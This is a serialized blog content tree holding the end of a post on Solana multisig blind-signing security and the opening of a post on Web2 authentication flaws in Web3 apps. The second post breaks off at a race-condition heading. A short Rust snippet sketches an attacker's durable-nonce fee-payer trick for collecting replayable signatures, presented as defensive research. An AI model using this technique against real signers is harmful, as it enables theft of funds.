last_blockhash",{"type":23,"tag":481,"props":66125,"children":66126},{"style":514},[66127],{"type":28,"value":517},{"type":23,"tag":481,"props":66129,"children":66130},{"style":508},[66131],{"type":28,"value":65620},{"type":23,"tag":481,"props":66133,"children":66134},{"style":514},[66135],{"type":28,"value":199},{"type":23,"tag":481,"props":66137,"children":66138},{"style":610},[66139],{"type":28,"value":66140},"last_hash",{"type":23,"tag":481,"props":66142,"children":66143},{"style":525},[66144],{"type":28,"value":1201},{"type":23,"tag":481,"props":66146,"children":66147},{"class":483,"line":531},[66148,66152,66157,66161,66166,66170,66175,66179,66183,66188],{"type":23,"tag":481,"props":66149,"children":66150},{"style":497},[66151],{"type":28,"value":500},{"type":23,"tag":481,"props":66153,"children":66154},{"style":508},[66155],{"type":28,"value":66156}," next_durable_nonce",{"type":23,"tag":481,"props":66158,"children":66159},{"style":514},[66160],{"type":28,"value":517},{"type":23,"tag":481,"props":66162,"children":66163},{"style":943},[66164],{"type":28,"value":66165}," DurableNonce",{"type":23,"tag":481,"props":66167,"children":66168},{"style":514},[66169],{"type":28,"value":1006},{"type":23,"tag":481,"props":66171,"children":66172},{"style":610},[66173],{"type":28,"value":66174},"from_blockhash",{"type":23,"tag":481,"props":66176,"children":66177},{"style":525},[66178],{"type":28,"value":618},{"type":23,"tag":481,"props":66180,"children":66181},{"style":514},[66182],{"type":28,"value":623},{"type":23,"tag":481,"props":66184,"children":66185},{"style":508},[66186],{"type":28,"value":66187},"last_blockhash",{"type":23,"tag":481,"props":66189,"children":66190},{"style":525},[66191],{"type":28,"value":1366},{"type":23,"tag":24,"props":66193,"children":66194},{},[66195,66197,66202],{"type":28,"value":66196},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":127,"props":66198,"children":66199},{},[66200],{"type":28,"value":66201},"can",{"type":28,"value":66203}," be saved and reused.",{"type":23,"tag":31,"props":66205,"children":66207},{"id":66206},"threat-model",[66208],{"type":28,"value":66209},"Threat Model",{"type":23,"tag":24,"props":66211,"children":66212},{},[66213],{"type":28,"value":66214},"Let's consider a simplified form of the original question.",{"type":23,"tag":73,"props":66216,"children":66217},{},[66218,66223,66228],{"type":23,"tag":77,"props":66219,"children":66220},{},[66221],{"type":28,"value":66222},"We have a N/M multisig",{"type":23,"tag":77,"props":66224,"children":66225},{},[66226],{"type":28,"value":66227},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":77,"props":66229,"children":66230},{},[66231],{"type":28,"value":66232},"We can accurately query chain state.",{"type":23,"tag":24,"props":66234,"children":66235},{},[66236],{"type":28,"value":66237},"Can we safely sign transactions?",{"type":23,"tag":24,"props":66239,"children":66240},{},[66241],{"type":28,"value":66242},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":66244,"children":66245},{},[66246,66248,66254,66256,66263],{"type":28,"value":66247},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":64,"props":66249,"children":66251},{"className":66250},[],[66252],{"type":28,"value":66253},"getProgramAccounts",{"type":28,"value":66255}," call to validate if your signer ",{"type":23,"tag":190,"props":66257,"children":66260},{"href":66258,"rel":66259},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[194],[66261],{"type":28,"value":66262},"has an associated durable nonce",{"type":28,"value":199},{"type":23,"tag":435,"props":66265,"children":66267},{"className":33448,"code":66266,"language":33450,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[66268],{"type":23,"tag":64,"props":66269,"children":66270},{"__ignoreMap":7},[66271,66318,66354,66362,66374,66382,66394,66402,66410,66427,66434,66441,66449,66457,66469,66495,66512,66519,66526,66534,66541],{"type":23,"tag":481,"props":66272,"children":66273},{"class":483,"line":484},[66274,66278,66283,66287,66291,66296,66300,66305,66309,66314],{"type":23,"tag":481,"props":66275,"children":66276},{"style":497},[66277],{"type":28,"value":7139},{"type":23,"tag":481,"props":66279,"children":66280},{"style":508},[66281],{"type":28,"value":66282}," connection",{"type":23,"tag":481,"props":66284,"children":66285},{"style":514},[66286],{"type":28,"value":517},{"type":23,"tag":481,"props":66288,"children":66289},{"style":497},[66290],{"type":28,"value":29448},{"type":23,"tag":481,"props":66292,"children":66293},{"style":610},[66294],{"type":28,"value":66295}," Connection",{"type":23,"tag":481,"props":66297,"children":66298},{"style":525},[66299],{"type":28,"value":618},{"type":23,"tag":481,"props":66301,"children":66302},{"style":610},[66303],{"type":28,"value":66304},"clusterApiUrl",{"type":23,"tag":481,"props":66306,"children":66307},{"style":525},[66308],{"type":28,"value":618},{"type":23,"tag":481,"props":66310,"children":66311},{"style":1805},[66312],{"type":28,"value":66313},"'testnet'",{"type":23,"tag":481,"props":66315,"children":66316},{"style":525},[66317],{"type":28,"value":4701},{"type":23,"tag":481,"props":66319,"children":66320},{"class":483,"line":351},[66321,66325,66330,66334,66338,66342,66346,66350],{"type":23,"tag":481,"props":66322,"children":66323},{"style":497},[66324],{"type":28,"value":7139},{"type":23,"tag":481,"props":66326,"children":66327},{"style":508},[66328],{"type":28,"value":66329}," nonceAccounts",{"type":23,"tag":481,"props":66331,"children":66332},{"style":514},[66333],{"type":28,"value":517},{"type":23,"tag":481,"props":66335,"children":66336},{"style":535},[66337],{"type":28,"value":33729},{"type":23,"tag":481,"props":66339,"children":66340},{"style":508},[66341],{"type":28,"value":66282},{"type":23,"tag":481,"props":66343,"children":66344},{"style":525},[66345],{"type":28,"value":199},{"type":23,"tag":481,"props":66347,"children":66348},{"style":610},[66349],{"type":28,"value":66253},{"type":23,"tag":481,"props":66351,"children":66352},{"style":525},[66353],{"type":28,"value":988},{"type":23,"tag":481,"props":66355,"children":66356},{"class":483,"line":531},[66357],{"type":23,"tag":481,"props":66358,"children":66359},{"style":488},[66360],{"type":28,"value":66361}," // The system program owns all nonce accounts.\n",{"type":23,"tag":481,"props":66363,"children":66364},{"class":483,"line":567},[66365,66370],{"type":23,"tag":481,"props":66366,"children":66367},{"style":508},[66368],{"type":28,"value":66369}," SYSTEM_PROGRAM_ADDRESS",{"type":23,"tag":481,"props":66371,"children":66372},{"style":525},[66373],{"type":28,"value":1033},{"type":23,"tag":481,"props":66375,"children":66376},{"class":483,"line":678},[66377],{"type":23,"tag":481,"props":66378,"children":66379},{"style":525},[66380],{"type":28,"value":66381}," {\n",{"type":23,"tag":481,"props":66383,"children":66384},{"class":483,"line":784},[66385,66390],{"type":23,"tag":481,"props":66386,"children":66387},{"style":508},[66388],{"type":28,"value":66389}," filters:",{"type":23,"tag":481,"props":66391,"children":66392},{"style":525},[66393],{"type":28,"value":23132},{"type":23,"tag":481,"props":66395,"children":66396},{"class":483,"line":812},[66397],{"type":23,"tag":481,"props":66398,"children":66399},{"style":525},[66400],{"type":28,"value":66401}," {\n",{"type":23,"tag":481,"props":66403,"children":66404},{"class":483,"line":825},[66405],{"type":23,"tag":481,"props":66406,"children":66407},{"style":488},[66408],{"type":28,"value":66409}," // Nonce accounts are exactly 80 bytes long\n",{"type":23,"tag":481,"props":66411,"children":66412},{"class":483,"line":843},[66413,66418,66423],{"type":23,"tag":481,"props":66414,"children":66415},{"style":508},[66416],{"type":28,"value":66417}," dataSize:",{"type":23,"tag":481,"props":66419,"children":66420},{"style":551},[66421],{"type":28,"value":66422}," 80",{"type":23,"tag":481,"props":66424,"children":66425},{"style":525},[66426],{"type":28,"value":1033},{"type":23,"tag":481,"props":66428,"children":66429},{"class":483,"line":864},[66430],{"type":23,"tag":481,"props":66431,"children":66432},{"style":525},[66433],{"type":28,"value":34717},{"type":23,"tag":481,"props":66435,"children":66436},{"class":483,"line":873},[66437],{"type":23,"tag":481,"props":66438,"children":66439},{"style":525},[66440],{"type":28,"value":66401},{"type":23,"tag":481,"props":66442,"children":66443},{"class":483,"line":1125},[66444],{"type":23,"tag":481,"props":66445,"children":66446},{"style":488},[66447],{"type":28,"value":66448}," // The authority's 32-byte public key is written\n",{"type":23,"tag":481,"props":66450,"children":66451},{"class":483,"line":1142},[66452],{"type":23,"tag":481,"props":66453,"children":66454},{"style":488},[66455],{"type":28,"value":66456}," // into bytes 8-40 of the nonce's account data.\n",{"type":23,"tag":481,"props":66458,"children":66459},{"class":483,"line":1159},[66460,66465],{"type":23,"tag":481,"props":66461,"children":66462},{"style":508},[66463],{"type":28,"value":66464}," memcmp:",{"type":23,"tag":481,"props":66466,"children":66467},{"style":525},[66468],{"type":28,"value":809},{"type":23,"tag":481,"props":66470,"children":66471},{"class":483,"line":1172},[66472,66477,66482,66486,66491],{"type":23,"tag":481,"props":66473,"children":66474},{"style":508},[66475],{"type":28,"value":66476}," bytes:",{"type":23,"tag":481,"props":66478,"children":66479},{"style":508},[66480],{"type":28,"value":66481}," AUTHORITY_PUBLIC_KEY",{"type":23,"tag":481,"props":66483,"children":66484},{"style":525},[66485],{"type":28,"value":199},{"type":23,"tag":481,"props":66487,"children":66488},{"style":610},[66489],{"type":28,"value":66490},"toBase58",{"type":23,"tag":481,"props":66492,"children":66493},{"style":525},[66494],{"type":28,"value":1016},{"type":23,"tag":481,"props":66496,"children":66497},{"class":483,"line":1181},[66498,66503,66508],{"type":23,"tag":481,"props":66499,"children":66500},{"style":508},[66501],{"type":28,"value":66502}," offset:",{"type":23,"tag":481,"props":66504,"children":66505},{"style":551},[66506],{"type":28,"value":66507}," 8",{"type":23,"tag":481,"props":66509,"children":66510},{"style":525},[66511],{"type":28,"value":1033},{"type":23,"tag":481,"props":66513,"children":66514},{"class":483,"line":1204},[66515],{"type":23,"tag":481,"props":66516,"children":66517},{"style":525},[66518],{"type":28,"value":22884},{"type":23,"tag":481,"props":66520,"children":66521},{"class":483,"line":1213},[66522],{"type":23,"tag":481,"props":66523,"children":66524},{"style":525},[66525],{"type":28,"value":34717},{"type":23,"tag":481,"props":66527,"children":66528},{"class":483,"line":1222},[66529],{"type":23,"tag":481,"props":66530,"children":66531},{"style":525},[66532],{"type":28,"value":66533}," ],\n",{"type":23,"tag":481,"props":66535,"children":66536},{"class":483,"line":1291},[66537],{"type":23,"tag":481,"props":66538,"children":66539},{"style":525},[66540],{"type":28,"value":3348},{"type":23,"tag":481,"props":66542,"children":66543},{"class":483,"line":1299},[66544],{"type":23,"tag":481,"props":66545,"children":66546},{"style":525},[66547],{"type":28,"value":1366},{"type":23,"tag":24,"props":66549,"children":66550},{},[66551,66553,66561],{"type":28,"value":66552},"Unfortunately this is not sufficient",{"type":23,"tag":12963,"props":66554,"children":66555},{},[66556],{"type":23,"tag":190,"props":66557,"children":66559},{"href":27137,"ariaDescribedBy":66558,"dataFootnoteRef":7,"id":27139},[12970],[66560],{"type":28,"value":1558},{"type":28,"value":66562},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":23,"tag":435,"props":66564,"children":66566},{"className":475,"code":66565,"language":474,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n .serialize();\n",[66567],{"type":23,"tag":64,"props":66568,"children":66569},{"__ignoreMap":7},[66570,66636,66652,66735],{"type":23,"tag":481,"props":66571,"children":66572},{"class":483,"line":484},[66573,66577,66581,66585,66590,66594,66598,66602,66606,66610,66614,66618,66623,66627,66632],{"type":23,"tag":481,"props":66574,"children":66575},{"style":497},[66576],{"type":28,"value":500},{"type":23,"tag":481,"props":66578,"children":66579},{"style":508},[66580],{"type":28,"value":40891},{"type":23,"tag":481,"props":66582,"children":66583},{"style":514},[66584],{"type":28,"value":517},{"type":23,"tag":481,"props":66586,"children":66587},{"style":525},[66588],{"type":28,"value":66589}," system_instruction",{"type":23,"tag":481,"props":66591,"children":66592},{"style":514},[66593],{"type":28,"value":1006},{"type":23,"tag":481,"props":66595,"children":66596},{"style":610},[66597],{"type":28,"value":29638},{"type":23,"tag":481,"props":66599,"children":66600},{"style":525},[66601],{"type":28,"value":618},{"type":23,"tag":481,"props":66603,"children":66604},{"style":514},[66605],{"type":28,"value":623},{"type":23,"tag":481,"props":66607,"children":66608},{"style":508},[66609],{"type":28,"value":16970},{"type":23,"tag":481,"props":66611,"children":66612},{"style":525},[66613],{"type":28,"value":588},{"type":23,"tag":481,"props":66615,"children":66616},{"style":514},[66617],{"type":28,"value":623},{"type":23,"tag":481,"props":66619,"children":66620},{"style":508},[66621],{"type":28,"value":66622},"ledger_base_pubkey",{"type":23,"tag":481,"props":66624,"children":66625},{"style":525},[66626],{"type":28,"value":588},{"type":23,"tag":481,"props":66628,"children":66629},{"style":551},[66630],{"type":28,"value":66631},"42",{"type":23,"tag":481,"props":66633,"children":66634},{"style":525},[66635],{"type":28,"value":1366},{"type":23,"tag":481,"props":66637,"children":66638},{"class":483,"line":351},[66639,66643,66648],{"type":23,"tag":481,"props":66640,"children":66641},{"style":497},[66642],{"type":28,"value":500},{"type":23,"tag":481,"props":66644,"children":66645},{"style":508},[66646],{"type":28,"value":66647}," message",{"type":23,"tag":481,"props":66649,"children":66650},{"style":514},[66651],{"type":28,"value":33373},{"type":23,"tag":481,"props":66653,"children":66654},{"class":483,"line":531},[66655,66660,66664,66669,66673,66677,66681,66685,66689,66693,66697,66701,66706,66710,66714,66719,66723,66727,66731],{"type":23,"tag":481,"props":66656,"children":66657},{"style":943},[66658],{"type":28,"value":66659}," Message",{"type":23,"tag":481,"props":66661,"children":66662},{"style":514},[66663],{"type":28,"value":1006},{"type":23,"tag":481,"props":66665,"children":66666},{"style":610},[66667],{"type":28,"value":66668},"new_with_nonce",{"type":23,"tag":481,"props":66670,"children":66671},{"style":525},[66672],{"type":28,"value":618},{"type":23,"tag":481,"props":66674,"children":66675},{"style":610},[66676],{"type":28,"value":1418},{"type":23,"tag":481,"props":66678,"children":66679},{"style":525},[66680],{"type":28,"value":1269},{"type":23,"tag":481,"props":66682,"children":66683},{"style":508},[66684],{"type":28,"value":41201},{"type":23,"tag":481,"props":66686,"children":66687},{"style":525},[66688],{"type":28,"value":20559},{"type":23,"tag":481,"props":66690,"children":66691},{"style":943},[66692],{"type":28,"value":39540},{"type":23,"tag":481,"props":66694,"children":66695},{"style":525},[66696],{"type":28,"value":618},{"type":23,"tag":481,"props":66698,"children":66699},{"style":514},[66700],{"type":28,"value":623},{"type":23,"tag":481,"props":66702,"children":66703},{"style":508},[66704],{"type":28,"value":66705},"evil_nonce_authority",{"type":23,"tag":481,"props":66707,"children":66708},{"style":525},[66709],{"type":28,"value":12666},{"type":23,"tag":481,"props":66711,"children":66712},{"style":514},[66713],{"type":28,"value":623},{"type":23,"tag":481,"props":66715,"children":66716},{"style":508},[66717],{"type":28,"value":66718},"nonce_account",{"type":23,"tag":481,"props":66720,"children":66721},{"style":525},[66722],{"type":28,"value":588},{"type":23,"tag":481,"props":66724,"children":66725},{"style":514},[66726],{"type":28,"value":623},{"type":23,"tag":481,"props":66728,"children":66729},{"style":508},[66730],{"type":28,"value":66705},{"type":23,"tag":481,"props":66732,"children":66733},{"style":525},[66734],{"type":28,"value":675},{"type":23,"tag":481,"props":66736,"children":66737},{"class":483,"line":567},[66738,66742,66747],{"type":23,"tag":481,"props":66739,"children":66740},{"style":514},[66741],{"type":28,"value":684},{"type":23,"tag":481,"props":66743,"children":66744},{"style":610},[66745],{"type":28,"value":66746},"serialize",{"type":23,"tag":481,"props":66748,"children":66749},{"style":525},[66750],{"type":28,"value":1201},{"type":23,"tag":24,"props":66752,"children":66753},{},[66754,66756,66763],{"type":28,"value":66755},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":23,"tag":190,"props":66757,"children":66760},{"href":66758,"rel":66759},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[194],[66761],{"type":28,"value":66762},"logs the fee-payer here",{"type":28,"value":199},{"type":23,"tag":435,"props":66765,"children":66767},{"className":14005,"code":66766,"language":661,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[66768],{"type":23,"tag":64,"props":66769,"children":66770},{"__ignoreMap":7},[66771,66830,66886],{"type":23,"tag":481,"props":66772,"children":66773},{"class":483,"line":484},[66774,66778,66783,66787,66791,66796,66800,66805,66809,66813,66817,66821,66826],{"type":23,"tag":481,"props":66775,"children":66776},{"style":497},[66777],{"type":28,"value":27199},{"type":23,"tag":481,"props":66779,"children":66780},{"style":610},[66781],{"type":28,"value":66782}," print_config_show_authority",{"type":23,"tag":481,"props":66784,"children":66785},{"style":525},[66786],{"type":28,"value":618},{"type":23,"tag":481,"props":66788,"children":66789},{"style":497},[66790],{"type":28,"value":7139},{"type":23,"tag":481,"props":66792,"children":66793},{"style":525},[66794],{"type":28,"value":66795}," PrintConfig",{"type":23,"tag":481,"props":66797,"children":66798},{"style":514},[66799],{"type":28,"value":2120},{"type":23,"tag":481,"props":66801,"children":66802},{"style":508},[66803],{"type":28,"value":66804}," print_config",{"type":23,"tag":481,"props":66806,"children":66807},{"style":525},[66808],{"type":28,"value":588},{"type":23,"tag":481,"props":66810,"children":66811},{"style":497},[66812],{"type":28,"value":7139},{"type":23,"tag":481,"props":66814,"children":66815},{"style":525},[66816],{"type":28,"value":18355},{"type":23,"tag":481,"props":66818,"children":66819},{"style":514},[66820],{"type":28,"value":2120},{"type":23,"tag":481,"props":66822,"children":66823},{"style":508},[66824],{"type":28,"value":66825}," authority",{"type":23,"tag":481,"props":66827,"children":66828},{"style":525},[66829],{"type":28,"value":12292},{"type":23,"tag":481,"props":66831,"children":66832},{"class":483,"line":351},[66833,66837,66841,66845,66850,66854,66858,66863,66867,66872,66876,66881],{"type":23,"tag":481,"props":66834,"children":66835},{"style":535},[66836],{"type":28,"value":14481},{"type":23,"tag":481,"props":66838,"children":66839},{"style":508},[66840],{"type":28,"value":66804},{"type":23,"tag":481,"props":66842,"children":66843},{"style":525},[66844],{"type":28,"value":11245},{"type":23,"tag":481,"props":66846,"children":66847},{"style":508},[66848],{"type":28,"value":66849},"expert_mode",{"type":23,"tag":481,"props":66851,"children":66852},{"style":514},[66853],{"type":28,"value":21207},{"type":23,"tag":481,"props":66855,"children":66856},{"style":514},[66857],{"type":28,"value":10351},{"type":23,"tag":481,"props":66859,"children":66860},{"style":610},[66861],{"type":28,"value":66862},"pubkeys_equal",{"type":23,"tag":481,"props":66864,"children":66865},{"style":525},[66866],{"type":28,"value":618},{"type":23,"tag":481,"props":66868,"children":66869},{"style":508},[66870],{"type":28,"value":66871},"print_config",{"type":23,"tag":481,"props":66873,"children":66874},{"style":525},[66875],{"type":28,"value":11245},{"type":23,"tag":481,"props":66877,"children":66878},{"style":508},[66879],{"type":28,"value":66880},"signer_pubkey",{"type":23,"tag":481,"props":66882,"children":66883},{"style":525},[66884],{"type":28,"value":66885},", authority);\n",{"type":23,"tag":481,"props":66887,"children":66888},{"class":483,"line":531},[66889],{"type":23,"tag":481,"props":66890,"children":66891},{"style":525},[66892],{"type":28,"value":1443},{"type":23,"tag":24,"props":66894,"children":66895},{},[66896],{"type":28,"value":66897},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":23,"tag":24,"props":66899,"children":66900},{},[66901],{"type":28,"value":66902},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":23,"tag":24,"props":66904,"children":66905},{},[66906],{"type":28,"value":66907},"We can then use the following procedure.",{"type":23,"tag":73,"props":66909,"children":66910},{},[66911,66916,66921,66926,66931],{"type":23,"tag":77,"props":66912,"children":66913},{},[66914],{"type":28,"value":66915},"Ensure all signers have no durable nonce accounts.",{"type":23,"tag":77,"props":66917,"children":66918},{},[66919],{"type":28,"value":66920},"The first signer signs and submits the transaction.",{"type":23,"tag":77,"props":66922,"children":66923},{},[66924],{"type":28,"value":66925},"Wait two minutes for all recent blockhashes to expire.",{"type":23,"tag":77,"props":66927,"children":66928},{},[66929],{"type":28,"value":66930},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":23,"tag":77,"props":66932,"children":66933},{},[66934],{"type":28,"value":66935},"Repeat steps 2 to 4 for each signer",{"type":23,"tag":31,"props":66937,"children":66939},{"id":66938},"beyond",[66940],{"type":28,"value":66941},"Beyond",{"type":23,"tag":24,"props":66943,"children":66944},{},[66945],{"type":28,"value":66946},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":23,"tag":24,"props":66948,"children":66949},{},[66950,66952,66959],{"type":28,"value":66951},"For example, pcaversaccio wrote a tool to ",{"type":23,"tag":190,"props":66953,"children":66956},{"href":66954,"rel":66955},"https://github.com/pcaversaccio/safe-tx-hashes-util",[194],[66957],{"type":28,"value":66958},"validate Safe transaction hashes",{"type":28,"value":66960},". As the space matures, we hope more open source tooling will come to light.",{"type":23,"tag":15916,"props":66962,"children":66964},{"className":66963,"dataFootnotes":7},[15919],[66965,66970],{"type":23,"tag":31,"props":66966,"children":66968},{"className":66967,"id":12970},[15924],[66969],{"type":28,"value":15927},{"type":23,"tag":73,"props":66971,"children":66972},{},[66973],{"type":23,"tag":77,"props":66974,"children":66975},{"id":27880},[66976,66978,66986,66988],{"type":28,"value":66977},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":23,"tag":190,"props":66979,"children":66983},{"href":66980,"rel":66981,":style":66982},"https://twitter.com/PierreArowana",[194],"color: #B1D0EE; text-decoration: underline;",[66984],{"type":28,"value":66985},"@PierreArowana",{"type":28,"value":66987}," for pointing this out to me. ",{"type":23,"tag":190,"props":66989,"children":66991},{"href":27908,"ariaLabel":16030,"className":66990,"dataFootnoteBackref":7},[16032],[66992],{"type":28,"value":16035},{"type":23,"tag":2918,"props":66994,"children":66995},{},[66996],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":66998},[66999,67003,67004,67005],{"id":65195,"depth":351,"text":65198,"children":67000},[67001,67002],{"id":65206,"depth":531,"text":65209},{"id":65485,"depth":531,"text":65488},{"id":66206,"depth":351,"text":66209},{"id":66938,"depth":351,"text":66941},{"id":12970,"depth":351,"text":15927},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":67010,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":67011,"description":67012,"date":67013,"author":67014,"image":67015,"isFeatured":15,"onBlogPage":15,"tags":67017,"body":67018,"_type":358,"_id":68716,"_source":360,"_file":68717,"_stem":68718,"_extension":363},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[28716,28715],{"src":67016},"/posts/web2-in-web3/title.jpg",[29656],{"type":20,"children":67019,"toc":68698},[67020,67025,67030,67035,67061,67067,67072,67078,67099,67105,67110,67117,67130,67160,67166,67210,67217,67223,67256,67277,67285,67304,67311,67316,67322,67327,67332,67357,67362,67368,67374,67395,67401,67428,67456,67463,67468,67473,67818,67822,67844,67850,67871,67885,67898,67903,67919,67924,68653,68658,68663,68668,68680,68684,68689,68694],{"type":23,"tag":24,"props":67021,"children":67022},{},[67023],{"type":28,"value":67024},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":67026,"children":67027},{},[67028],{"type":28,"value":67029},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":67031,"children":67032},{},[67033],{"type":28,"value":67034},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":73,"props":67036,"children":67037},{},[67038,67043,67056],{"type":23,"tag":77,"props":67039,"children":67040},{},[67041],{"type":28,"value":67042},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":77,"props":67044,"children":67045},{},[67046,67048,67054],{"type":28,"value":67047},"Supabase ",{"type":23,"tag":64,"props":67049,"children":67051},{"className":67050},[],[67052],{"type":28,"value":67053},"user_metadata",{"type":28,"value":67055}," misconfiguration",{"type":23,"tag":77,"props":67057,"children":67058},{},[67059],{"type":28,"value":67060},"OAuth abuse in localhost development environment",{"type":23,"tag":31,"props":67062,"children":67064},{"id":67063},"abusing-oauth-authentication-logic",[67065],{"type":28,"value":67066},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":67068,"children":67069},{},[67070],{"type":28,"value":67071},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":7092,"props":67073,"children":67075},{"id":67074},"web3auth-introduction",[67076],{"type":28,"value":67077},"Web3Auth Introduction",{"type":23,"tag":24,"props":67079,"children":67080},{},[67081,67088,67090,67097],{"type":23,"tag":190,"props":67082,"children":67085},{"href":67083,"rel":67084},"https://web3auth.io/",[194],[67086],{"type":28,"value":67087},"Web3Auth",{"type":28,"value":67089}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":190,"props":67091,"children":67094},{"href":67092,"rel":67093},"https://oauth.net/2/",[194],[67095],{"type":28,"value":67096},"OAuth2",{"type":28,"value":67098}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":7092,"props":67100,"children":67102},{"id":67101},"web3auth-authentication-flow",[67103],{"type":28,"value":67104},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":67106,"children":67107},{},[67108],{"type":28,"value":67109},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":67111,"children":67112},{},[67113],{"type":23,"tag":149,"props":67114,"children":67116},{"alt":48104,"src":67115},"/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":67118,"children":67119},{},[67120,67122,67128],{"type":28,"value":67121},"After the final redirect back to the dApp, the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":64,"props":67123,"children":67125},{"className":67124},[],[67126],{"type":28,"value":67127},"client_id",{"type":28,"value":67129},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":67131,"children":67132},{},[67133,67135,67141,67143,67149,67151,67158],{"type":28,"value":67134},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":64,"props":67136,"children":67138},{"className":67137},[],[67139],{"type":28,"value":67140},"/start",{"type":28,"value":67142}," validates the ",{"type":23,"tag":64,"props":67144,"children":67146},{"className":67145},[],[67147],{"type":28,"value":67148},"redirect_url",{"type":28,"value":67150}," against the configured ",{"type":23,"tag":190,"props":67152,"children":67155},{"href":67153,"rel":67154},"https://web3auth.io/docs/dashboard-setup/whitelisting",[194],[67156],{"type":28,"value":67157},"whitelist",{"type":28,"value":67159}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":7092,"props":67161,"children":67163},{"id":67162},"in-transit-cryptography",[67164],{"type":28,"value":67165},"In-transit Cryptography",{"type":23,"tag":24,"props":67167,"children":67168},{},[67169,67171,67178,67180,67186,67188,67194,67196,67201,67203,67208],{"type":28,"value":67170},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":190,"props":67172,"children":67175},{"href":67173,"rel":67174},"https://en.wikipedia.org/wiki/Key_(cryptography)",[194],[67176],{"type":28,"value":67177},"cryptographic key",{"type":28,"value":67179}," is derived from the ",{"type":23,"tag":64,"props":67181,"children":67183},{"className":67182},[],[67184],{"type":28,"value":67185},"sessionId",{"type":28,"value":67187}," sent in the ",{"type":23,"tag":64,"props":67189,"children":67191},{"className":67190},[],[67192],{"type":28,"value":67193},"GET",{"type":28,"value":67195}," parameter to the ",{"type":23,"tag":64,"props":67197,"children":67199},{"className":67198},[],[67200],{"type":28,"value":67140},{"type":28,"value":67202},". Since the ",{"type":23,"tag":64,"props":67204,"children":67206},{"className":67205},[],[67207],{"type":28,"value":67185},{"type":28,"value":67209}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":67211,"children":67212},{},[67213],{"type":23,"tag":149,"props":67214,"children":67216},{"alt":48104,"src":67215},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":7092,"props":67218,"children":67220},{"id":67219},"race-condition",[67221],{"type":28,"value":67222},"Race 